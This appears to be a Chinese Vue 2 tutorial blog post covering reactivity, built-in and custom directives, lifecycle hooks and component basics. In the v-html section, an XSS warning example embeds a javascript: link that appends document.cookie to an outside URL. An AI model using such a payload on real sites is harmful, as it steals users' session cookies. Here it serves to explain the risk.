Vue 技术进阶 day2 数据监视的原理、其他内置指令、自定义指令、生命周期、组件化、VueComponent构造函数
目录
1.Vue监测数据的原理
1.1 原理
1.1.1 数据劫持
1.1.2 观察者模式(Vue内部的实现)
1.1.3 更新组件
1.1.4 计算属性和侦听器
1.2 后添加属性做响应式(Vue.set / vm.$set)
1.3 对象和数组的响应式
1.4 数据监视案例
2.指令
2.1 内置指令
2.1.1 v-text 指令
2.1.2 v-html 指令
2.1.3 v-cloak 指令
2.1.4 v-once 指令
2.1.5 v-pre 指令
2.2 自定义指令
2.2.1 自定义指令案例
2.2.2 自定义指令总结
3.生命周期
3.1 什么是生命周期?
3.2 分析生命周期
3.3 生命周期的总结
4.Vue 组件化编程
4.1 模块与组件、模块化与组件化
4.1.1 模块
4.1.2 组件
4.1.3 模块化
4.1.4 组件化
4.2 文件组件
4.2.1 非单文件组件
4.2.2 单文件组件
4.3 组件的基本使用
4.4 需要注意的点
4.5 组件的嵌套
4.6 VueComponent 构造函数
4.6.1 关于VueComponent构造函数
4.6.2 关于VueComponent 和 Vue的内置关系
1.Vue监测数据的原理
1.1 原理
(...)就是有响应式数据绑定的属性
Vue.js是一个用于构建用户界面的渐进式框架,其核心特性之一是响应式数据绑定(因此修改之后会解析模版,使得页面重新渲染)。Vue的响应式原理主要基于数据劫持和发布-订阅模式。以下是Vue监测数据变化的详细原理介绍:
1.1.1 数据劫持
数据劫持:可以理解为拿到数据,对数据进行提供getter和setter封装的操作。
Vue通过“数据劫持”来实现响应式系统。具体过程如下:
-
Object.defineProperty:Vue在初始化数据时,会使用
Object.defineProperty
方法将数据对象的属性转换为 getter 和 setter。当我们访问属性值时,会触发 getter,当我们设置属性值时,则会触发 setter。// 示例代码 const data = { name: 'Vue' }; Object.defineProperty(data, 'name', {get: function() {console.log('Getting name:', this);return this._name;},set: function(newValue) {console.log('Setting name:', newValue);this._name = newValue;} });
-
嵌套对象处理:对于嵌套对象,Vue会递归调用
Object.defineProperty
将每个属性都设置为响应式。这样,深层嵌套的属性也能被监测到。
1.1.2 观察者模式(Vue内部的实现)
观察者模式:可以理解为给属性加上监视功能,记录属性是否被更改,而且也会记录用到该属性的地方。
vue会监视data中所有层次的数据。
Vue通过观察者模式(Observer pattern)实现了数据变化的监测:
-
Dep(依赖收集):每个被监测的属性都有一个
Dep
实例。这个实例用于收集依赖于该属性的所有观察者(即使用到这个属性的组件)。 -
Watcher:每个使用该属性的组件或实例都会创建一个
Watcher
实例。在组件渲染的过程中,Watcher
会注册自身到相关的Dep
中。class Dep {constructor() {this.subscribers = []; // 存储观察者}addSub(watcher) {this.subscribers.push(watcher);}notify() {this.subscribers.forEach(watcher => watcher.update()); // 通知所有观察者} }
1.1.3 更新组件
更新组件:当属性被修改时,也就是触发setter,就会通知依赖该属性,完成模版的重新渲染。
当我们通过 setter 修改了一个属性的值时,会触发该属性的 setter
。在这里,Vue会调用 Dep.notify()
方法,通知所有依赖于该属性的 Watcher
实例。
- Watcher.update:当
Watcher
接收到通知时,会调用它的update()
方法,触发组件重新渲染。
1.1.4 计算属性和侦听器
计算属性和侦听器也是响应式数据绑定
-
计算属性:Vue的计算属性也是基于响应式系统实现的。计算属性的 getter 会自动地将需要依赖的数据加入到依赖列表中。
-
侦听器:侦听属性变化的机制则是Vue的另一个重要特性。侦听器通过
vm.$watch
方法来监听数据变化,当数据变化时,会执行对应的方法。
1.2 后添加属性做响应式(Vue.set / vm.$set)
Vue.set
和 vm.$set
是 Vue 提供的方法,用于向某个对象添加新的属性或向数组中添加新的元素,并确保该属性或元素是响应式的。
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
问题:直接在对象或者数组新增数据,发现页面并不会显示该数据,就是因为该数据没有响应式,
Vue没有管理该数据。
响应式处理:
- (1).对象中后追加的属性,Vue默认不做响应式处理
- (2).如需给后添加的属性做响应式,请使用如下API:
- Vue.set(target,propertyName/index,value)
- vm.$set(target,propertyName/index,value)
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
1.3 对象和数组的响应式
1. 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。对象中后追加的属性,Vue默认不做响应式处理。
2. 如何监测数组中的数据?
问题:
从下图可以看出,friends是一个数组,数组里面的元素并不会像对象那样,拥有响应式,也就是Vue提供的Setter和Getter方法,因此往数组里面添加数据,会发现页面并没有展示出来,但是后台却可以看到存在该数据。那是因为Vue并不会把这定义为你对数组的修改。下面将解决这个问题。
解决问题:
通过包裹数组更新元素的方法实现,本质就是做了两件事:
- (1).调用原生对应的方法对数组进行更新。才会被Vue识别为更改,给予响应式数据处理。
- (2).重新解析模板,进而更新页面。
方式一:
Vue 将被侦听的数组的变更方法进行了包裹(也就是对数组的方法进一步封装),所以它们也将会触发视图更新。
这些被包裹过的方法包括:
特点:这几个方法都会改变原数组。
方式二:
变更方法,顾名思义,会变更调用了这些方法的原始数组。相比之下,也有非变更方法,例如 filter()
、concat()
和 slice()
。它们不会变更原始数组,而总是返回一个新数组。当使用非变更方法时,可以用新数组替换旧数组,这样Vue才会识别数组的修改。
方式三:
运用Vue.set / vm.$set)
1.4 数据监视案例
点击按键实现功能:
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>总结数据监视</title><style>button {margin-top: 10px;}</style><!-- 引入Vue --><script type="text/javascript" src="./vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h1>学生信息</h1><button @click="student.age++">年龄+1岁</button> <br /><button @click="addSex">添加性别属性,默认值:男</button> <br /><button @click="student.sex = '未知' ">修改性别</button> <br /><button @click="addFirstFriend">在列表首位添加一个朋友</button> <br /><button @click="updateFitstFriendName">修改第一个朋友的名字为:张三</button> <br /><button @click="addOneHobby">添加一个爱好</button> <br /><button @click="updateOneHobby">修改第一个爱好为:开车</button> <br /><button @click="filterSmoke">过滤掉爱好中的抽烟</button> <br /><h3>姓名:{{student.name}}</h3><h3>年龄:{{student.age}}</h3><h3 v-if="student.sex">性别:{{student.sex}}</h3><h3>爱好:</h3><ul><li v-for="(h,index) in student.hobby" :key="index">{{h}}</li></ul><h3>朋友们:</h3><ul><li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',data: {student: {name: 'tom',age: 18,hobby: ['抽烟', '喝酒', '烫头'],friends: [{ name: 'jerry', age: 35 },{ name: 'tony', age: 36 }]}},methods: {addSex() {this.$set(this.student, 'sex', '男')},addFirstFriend() {this.student.friends.unshift({ name: 'linhan', age: 22 })},updateFitstFriendName() {this.student.friends.splice(0, 1, { name: '张三', age: 22 })},addOneHobby() {this.student.hobby.unshift('打台球')},updateOneHobby() {this.student.hobby.splice(0, 1, '开车')},filterSmoke() {// 这里注意需要重新赋值,Vue才会鉴定为数组的修改this.student.hobby = this.student.hobby.filter(element => {return element != '抽烟'})}}})
</script></html>
2.指令
2.1 内置指令
2.1.1 v-text 指令
v-text指令:
- 1.作用:向其所在的节点中渲染文本内容。
- 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
注意:比如<div v-text="属性">我是会被替代的内容</div>
2.1.2 v-html 指令
v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
- (1).v-html会替换掉节点中所有的内容,这一点跟v-text一样,{{xx}}则不会。
- (2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
- (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
- (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
- (3).可以通过Get方式,将网页的Cookie携带到URL的?后面,因此有安全性问题。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>',// 安全性问题所在str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',}})</script>
</html>
2.1.3 v-cloak 指令
v-cloak指令(没有值):
- 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style><!-- 引入Vue --></head><body><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>
2.1.4 v-once 指令
v-once指令:
- 1.v-once所在节点在初次动态渲染后,就视为静态内容了。也就是只会调用一次。
- 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>
2.1.5 v-pre 指令
v-pre指令:
- 1.跳过其所在节点的编译过程。
- 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>
2.2 自定义指令
2.2.1 自定义指令案例
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。(用回调函数简单)
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。(必须用配置对象才能实现)
代码:
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="./vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr /><input type="text" v-fbind:value="n"></div>
</body><script type="text/javascript">Vue.config.productionTip = false//定义全局指令/* Vue.directive('fbind',{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */new Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {//big函数何时会被调用?// 1.指令与元素成功绑定时(一上来), 但是指令所在的元素还没有放入页面。// 2.指令所在的模板被重新解析时。big(element, binding) {// console.log('big', this) //注意此处的this是window// console.log(binding) //得到对象// console.log(element) //得到元素DOM// binding 里面的对象包含n的value属性element.innerText = binding.value * 10},fbind: {//指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {// 这句话只有元素在页面才会起效element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value}}}})</script></html>
2.2.2 自定义指令总结
自定义指令总结:
一、定义语法:
(1).局部指令:
new Vue({ directives:{指令名:配置对象}
})
new Vue({directives{指令名:回调函数}
})
(2).全局指令:
Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
- (1).bind:指令与元素成功绑定时调用。
- (2).inserted:指令所在元素被插入页面时调用。
- (3).update:指令所在模板结构被重新解析时调用。
三、注意事项:
- 1.指令定义时不加v-,但使用时要加v-;
- 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
3.生命周期
3.1 什么是生命周期?
生命周期:
- 1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
- 2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 4.生命周期函数中的this指向是vm 或 组件实例对象。
3.2 分析生命周期
分为8个生命周期函数,4对生命周期,分别为 创建 -- 挂载 -- 挂载 -- 销毁。。。
如果想要跟踪每一个生命周期函数的执行情况,可以用debugger,刷新页面就会跳转到该debugger。
代码:
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>分析生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root" :x="n"><h2 v-text="n"></h2><h2>当前的n值是:{{n}}</h2><button @click="add">点我n+1</button><button @click="bye">点我销毁vm</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',// template:`// <div>// <h2>当前的n值是:{{n}}</h2>// <button @click="add">点我n+1</button>// </div>// `,data:{n:1},methods: {add(){console.log('add')this.n++},bye(){console.log('bye')this.$destroy()}},watch:{n(){console.log('n变了')}},beforeCreate() {console.log('beforeCreate')},created() {console.log('created')},beforeMount() {console.log('beforeMount')},mounted() {console.log('mounted')},beforeUpdate() {console.log('beforeUpdate')},updated() {console.log('updated')},beforeDestroy() {console.log('beforeDestroy')},destroyed() {console.log('destroyed')},})</script>
</html>
3.3 生命周期的总结
常用的生命周期钩子:
- 1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
- 2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。一般配合this.$destroy()使用,就会调用beforeDestroy生命周期函数。
关于销毁Vue实例:
- 1.销毁后借助Vue开发者工具看不到任何信息。
- 2.销毁后自定义事件会失效,但原生DOM事件依然有效。
- 3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
4.Vue 组件化编程
4.1 模块与组件、模块化与组件化
模块和组件其实都是为了能够实现代码的复用性,而且比较好维护。
4.1.1 模块
- 1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
- 2. 为什么: js 文件很多很复杂
- 3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率
4.1.2 组件
4.1.3 模块化
4.1.4 组件化
4.2 文件组件
4.2.1 非单文件组件
1.定义:
非单文件组件通常指将组件的模板、逻辑和样式分散在多个文件中。
2.结构:
HTML 模板可以在 HTML 文件中,JavaScript 逻辑可以在单独的 JavaScript 文件中,样式可以在 CSS 文件中定义。
4.2.2 单文件组件
1.定义:
单文件组件将模板、脚本和样式集中在一个文件中,通常以 .vue
作为文件扩展名。
2.结构:
- 使用
<template>
标签定义 HTML 模板。 - 使用
<script>
标签定义 JavaScript 逻辑。 - 使用
<style>
标签定义样式。
4.3 组件的基本使用
Vue中使用组件的三大步骤:
- 一、定义组件(创建组件)
- 二、注册组件
- 三、使用组件(写组件标签)
一、如何定义一个组件?
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
1.el不要写,为什么?
最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
2.data必须写成函数,为什么?
避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构。
二、如何注册组件?
1.局部注册:靠new Vue的时候传入components选项。一般用的比较多。
2.全局注册:靠Vue.component('组件名',组件)。
三、编写组件标签:
<school></school>
代码演示:
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script src="./vue.js"></script>
</head><body><div id="root"><!-- 3.使用组件 --><school></school><hr><student></student><hr><!-- 可以复用组件 --><school></school></div><script>// 1.创建组件const school = Vue.extend({// el: "#root", template: `<div><h2>学校地址:{{schoolAddress}}</h2><h2>学校名称:{{schoolName}}</h2></div>`,data() {return {schoolAddress: "广州花都",schoolName: "GGS"}}})const student = Vue.extend({// el: "#root", template: `<div><h2>学生名字:{{studnetName}}</h2><h2>学生年龄:{{studentAge}}</h2></div>`,data() {return {studnetName: "小张",studentAge: 23,}}})new Vue({el: "#root",// 2.注册组件components: {school,student}})</script>
</body></html>
4.4 需要注意的点
几个注意点:
1.关于组件名
一个单词组成:
- 第一种写法(首字母小写):school
- 第二种写法(首字母大写):School
多个单词组成:
- 第一种写法(kebab-case命名):my-school
- 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
- (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
- (2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签
第一种写法:<school></school>
第二种写法:<school/>
备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
3.一个简写方式
const school = Vue.extend(options) 可简写为:const school = options,vm会进行判断,
如果没有调用,就帮我们调用。
4.5 组件的嵌套
步骤:
- 1.注册的环境发生更换
- 2.子组件的标签需要在父组件中的模版进行定义
- 3.子组件的代码要写在父组件的前面
代码演示:
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script src="./vue.js"></script>
</head><body><div id="root"><!-- 3.使用组件 --><school></school><hr><!-- 编写嵌套组件 --><!-- <student></student> --></div><script>// 创建组件const student = Vue.extend({template: `<div><h2>学生名字:{{studnetName}}</h2><h2>学生年龄:{{studentAge}}</h2></div>`,data() {return {studnetName: "小张",studentAge: 23,}}})// 1.创建组件const school = Vue.extend({// 子组件的标签要编写到父组件的模版里面template: `<div><h2>学校地址:{{schoolAddress}}</h2><h2>学校名称:{{schoolName}}</h2><student></student></div>`,data() {return {schoolAddress: "广州花都",schoolName: "GGS"}},// 子组件需要在父组件里面注册components: {student}})new Vue({el: "#root",// 2.注册组件components: {school}})</script>
</body></html>
4.6 VueComponent 构造函数
4.6.1 关于VueComponent构造函数
1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。
3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
4.关于this指向:
- (1).组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
- (2).new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
Vue的实例对象,以后简称vm。
4.6.2 关于VueComponent 和 Vue的内置关系
- 1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
- 2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
- 3. vc就是小型的vm, vm可以有 el 属性而 vc没有, 其他差别不大。
原型关系图:
相关文章:
Vue 技术进阶 day2 数据监视的原理、其他内置指令、自定义指令、生命周期、组件化、VueComponent构造函数
目录 1.Vue监测数据的原理 1.1 原理 1.1.1 数据劫持 1.1.2 观察者模式(Vue内部的实现) 1.1.3 更新组件 1.1.4 计算属性和侦听器 1.2 后添加属性做响应式(Vue.set / vm.$set) 1.3 对象和数组的响应式 1.4 数据监视案例 2.指令 2.1 内置指令 2.…...
vue.js 原生js app端实现图片旋转、放大、缩小、拖拽
效果图: 旋转 放大:手机上可以双指放大缩小 拖拽 代码实现: html <div id"home" class"" v-cloak><!-- 上面三个按钮 图片自己解决 --><div class"headImage" v-if"showBtn">&l…...
MyBatis的注入问题
对之前文章的补充:MyBatis中的#{}与${}注入问题----原文链接 前言: MyBatis是一个流行的Java持久层框架,用于将对象与数据库中的数据进行映射。然而,如果不当使用,MyBatis也可能受到诸如SQL注入这类的安全问题的影响。…...
基于springboot的评分评教管理系统
👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于springboot的评分评教管理系统1拥有三种角色 管理员:评价管理、学生管理、评分指标管理、课程管理、教师管理、管理员管理等教师:课程管理、学生管理、个人信…...
C嘎嘎入门篇:类和对象(2)
前言: 上一篇小编讲了类和对象(1),当然,在看这篇文章之前,读者朋友们一定要掌握好前面的基础内容,因为这篇和前面息息相关,废话不多说,下面小编就加快步伐,开…...
数据库 - Mongo数据库
目录 前言 一、MongoDB的特点 二、Mongo的核心概念 三、MongoDB的优劣势 四、使用场景 五、MongoDB与其他数据库的对比 六、如何安装MongoDB 七、数据库指令操作 (一)基本数据库操作 (1)连接 MongoDB (2&am…...
工业控制过等保三级需要的网络安全设备及详细讲解
在工业控制系统(ICS)的安全性日益受到重视的背景下,网络安全等级保护(过等保)三级作为一种重要的安全标准,对保障工业控制系统的安全运行有着重要的意义。过等保三级主要针对那些对安全性要求较高的系统&am…...
Android开发高级篇:MVVM框架与数据双向绑定
在Android开发中,MVVM(Model-View-ViewModel)架构模式以其高效、简洁的特点,成为越来越多开发者的首选。MVVM不仅实现了界面(UI)与业务逻辑的分离,还通过数据双向绑定技术,极大地简化…...
智能招聘系统小程序的设计
管理员账户功能包括:系统首页,个人中心,用户管理,企业管理,招聘信息管理,应聘信息管理,系统管理 微信端账号功能包括:系统首页,招聘信息,我的 开发系统&…...
Wireshark抓包GRPC协议查看Protobuf编码内容
1.说明 对通过GRPC协议进行通信的流量进行抓包后, 需要先转换为HTTP2协议, 因为默认解析的HTTP协议和TCP协议无法进行后续的查看操作, 然后再通过加载protobuf文件, 对GRPC内的DATA字段进行解码。 2.抓包 本文为了测试方便&…...
selenium 强制、隐式、显示等待(11种预置条件)
注:显示等待和隐式等待不可混用 强制等待 让当前正在执行的代码线程暂停运行。 示例:在电商网站的商品搜索页面,等待 5 秒之后,点击搜索按钮,如果页面加载速度很快,在 2 秒内生成,那么还需要…...
ffmpeg拉取rtsp网络视频流报错解析
在使用ffmpeg调用api方式对一个rtsp网络视频流拉流播放时,应用程序出现了一些错误提示,并且拉流播放的画面也出现了一些马赛克的现象。所以这里便对应用程序所产生的错误提示进行了详细的研究和分析。这里将分析结果贴在下面,若其他朋友遇到类…...
c# iTextSharp 读取PDF
安装 iTextSharp: 可以通过 NuGet 包管理器安装 iTextSharp: Install-Package itext7创建 PDF 文件: using System; using System.IO; using iText.Kernel.Pdf; using iText.Layout; using iText.Layout.Element;class Program {static voi…...
<<迷雾>> 第5章 从逻辑学到逻辑电路(3)--与门 示例电路
与门及其符号(2输入端) info::操作说明 鼠标单击开关切换开合状态 系统中使用 半方形半圆形 表示与门 primary::在线交互操作链接 https://cc.xiaogd.net/?startCircuitLinkhttps://book.xiaogd.net/cyjsjdmw-examples/assets/circuit/cyjsjdmw-ch05-11…...
Java应用的数据库连接池连接超时处理
Java应用的数据库连接池连接超时处理 大家好,我是微赚淘客返利系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿! 在Java应用中,数据库连接池是管理数据库连接的重要组件。然而,当数据库负载过高或网…...
机器学习:opencv--摄像头OCR
目录 前言 一、三个函数 1.显示图像 2.点排序 3.透视变换 二、代码实例 1.打开摄像头 2.图像预处理 3.检测特定轮廓 4.对轮廓进行处理 5.释放资源 前言 摄像头OCR指的是利用摄像头捕捉图像中的文字信息,并通过光学字符识别(OCR)技…...
基于二分查找的动态规划 leetcode 300.最长递增子序列
如题: https://leetcode.cn/problems/longest-increasing-subsequence/description/ 其实常规动态规划的解法就没什么好说的了,有意思的是官方放出了一个二分查找的动态规化解法,时间复杂度能降到O(nlog(n)),但是为什么这样能解&…...
Java8 IntStream流sum的Bug
做. - 力扣(LeetCode)的时候发现 IntStream流中的sum在相加的过程中会加到突破Int上限导致数据不对,需要装成LongStream流才能有正确的输出。 long sum Arrays.stream(milestones).asLongStream().sum(); 要这样子写,只把sum改…...
PCL 索引空间采样
目录 一、概述 1.1原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.1.1 索引空间采样 2.1.2 可视化原始点云和下采样后的点云 2.2完整代码 三、实现效果 PCL点云算法汇总及实战案例汇总的目录地址链接: PCL点云算法与项目实战案例汇总…...
PasteForm最佳CRUD实践,实际案例PasteTemplate详解之3000问(三)
作为“贴代码”力推的一个CRUD实践项目PasteTemplate,在对现有的3个项目进行实战后效果非常舒服!下面就针对PasteForm为啥我愿称为最佳CRUD做一些回答: 哪里可以下载这个PasteForm的项目案例 目前“贴代码”对外使用PasteForm的项目有"贴Builder(PasteSpide…...
【无标题】logistic映射
当Logistic映射中的控制参数 μ \mu μ 为负数时,系统的行为与正数 μ \mu μ 的情况截然不同。Logistic映射的一般形式是: x ( t 1 ) μ x ( t ) ( 1 − x ( t ) ) x(t1) \mu x(t) (1 - x(t)) x(t1)μx(t)(1−x(t))其中 x ( t ) x(t) x(t) 表示时…...
基于Node.js+Express+MySQL+VUE科研成果网站发布查看科研信息科研成果论文下载免费安装部署
目录 1.技术选型 2.功能设计 3.系统架构 4.开发流程 5.开发背景 6.开发目标 7.技术可行性 8.功能可行性 8.1功能图 8.2 界面设计 8.3 部分代码 构建一个基于Spring Boot、Java Web、J2EE、MySQL数据库以及Vue前后端分离的科研成果网站,可…...
提升C++代码质量的一些建议
文章目录 1. 命名清晰2. 简洁性3. 一致性4. 注释5. 避免复杂性6. 重构7. 测试8. 错误处理9. 文档10. 代码复用11. 性能优化12. 安全性- 代码规范推荐 C开发中,写出优雅且可维护的代码不仅能提升代码质量,还能提高团队协作效率和项目长期的可扩展性。以下…...
起重机防摇摆技术如何达标-武汉正向科技
武汉正向科技防摇摆控制器 主要技术参数 1、防摇摆精度: 0.4 2、行车到达目标位置偏差位置偏差: 25mm 3、通讯方式:PROFINET / PROFIBUS / RS232 / RS422 / RS485; 4、消除载荷的摇摆达 96% 以上; 5、技术先进…...
[大语言模型-论文精读] MoRAG - 基于多部分融合的检索增强型人体动作生成
MoRAG--Multi-Fusion Retrieval Augmented Generation for Human Motion KS Shashank, S Maheshwari, RK Sarvadevabhatla - arXiv preprint arXiv:2409.12140, 2024 MoRAG - 基于多部分融合的检索增强型人体动作生成 1. 目录 MoRAG--Multi-Fusion Retrieval Augmented Generat…...
解决端口被占用
当你被你的编译器提醒, 当前端口被占用, 但明明你的服务什么的都没有启用,这时有三种解决办法: 1 。 重启 。 重启解决80%的问题 2 。 修改你的端口号 。 3 。 去windows命令行中查看,端口占用情况 第一步 …...
【递归】7. leetcode 404 左叶子之和
1 题目描述 题目链接:左叶子之和 2 解答思路 递归分为三步,接下来就按照这三步来思考问题 第一步:挖掘出相同的子问题 (关系到具体函数头的设计) 第二步:只关心具体子问题做了什么 (关系…...
react+antdMobie实现消息通知页面样式
一、实现效果 二、代码 import React, { useEffect, useState } from react; import style from ./style/index.less; import { CapsuleTabs, Ellipsis, Empty, SearchBar, Tag } from antd-mobile; //消息通知页面 export default function Notification(props) {const [opti…...
Git 撤销一个已经push到远端仓库的commit
在 Git 中,撤销一个已经推送到远程仓库的改动有几种不同的方法,具体取决于你是否想要完全删除改动,还是只是恢复文件的某个状态。以下是常见的几种方法: git revert 撤销特定的commit git revert 是最安全的方法,因为…...
lambda表达式底层实现
一、lambda 代码 & 反编译 原始Java代码 假设我们有以下简单的Java程序,它使用Lambda表达式来遍历并打印一个字符串列表: import java.util.Arrays; import java.util.List;public class LambdaExample {public static void main(String[] args) {…...
安康网站定制厂家/鞋子软文推广300字
这篇文章主要介绍了关于php面向对象之类与实例化对象,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下类声明[修饰符] class 类名{[属性][方法]}注意事项:1)类名遵循大写开头的驼峰命名规范2)花括号的开始、结束标记…...
群晖 nas 做网站/营销策划思路
文章目录一、vim常用操作1.1 插入命令1.2 定位命令1.3 删除命令1.4 复制和剪切命令1.5 替换和取消命令1.6 搜索和搜索替换命令1.7 保存和退出命令一、vim常用操作 下一篇:Vim使用技巧——有趣又能提高效率的小技巧 https://blog.csdn.net/weixin_46818279/article/…...
前端会员中心wordpress/杭州百度开户
【算法分析】 简单而言,将中缀表达式转换为后缀表达式的算法需要注意以下两点。 ● 操作数始终入操作数栈。 ● 操作符入操作符栈时,比较与操作符栈的栈顶元素的优先级,然后选择入操作符栈还是入操作数栈。直至将操作符栈的所有元素入操作数栈…...
wordpress主题 tob/推广app的软文案例
每天读一篇一线开发者原创好文问题引入:项目发展,自动化测试需要使用python模拟客户端发送http2.0请求。选型:目前网上盛行的python模拟客户端发送http2.0的库主要为hyper,毫无疑问,大胆一试。选型参考:htt…...
我的专业网站建设策划书/安卓aso优化工具
广度优先搜索,深搜超时 需要判断界限,做标记,已到过的地点就不必去了 #include<cstdio> #include<iostream> using namespace std; int head0,tail1; int n,k; int f[199999]; int d[9999999]; int t[9999999]; int bfs(int w) …...
影视网站怎么做app/上海有哪些优化网站推广公司
用vue做桌面应用程序设定精灵 (Setup Wizard) This page allows you to pick and install multiple apps at once through your macs terminal using brew. 该页面允许您使用brew通过Mac终端一次选择并安装多个应用程序。 View Demo 查看演示 View Github 查看Github 指令 (Co…...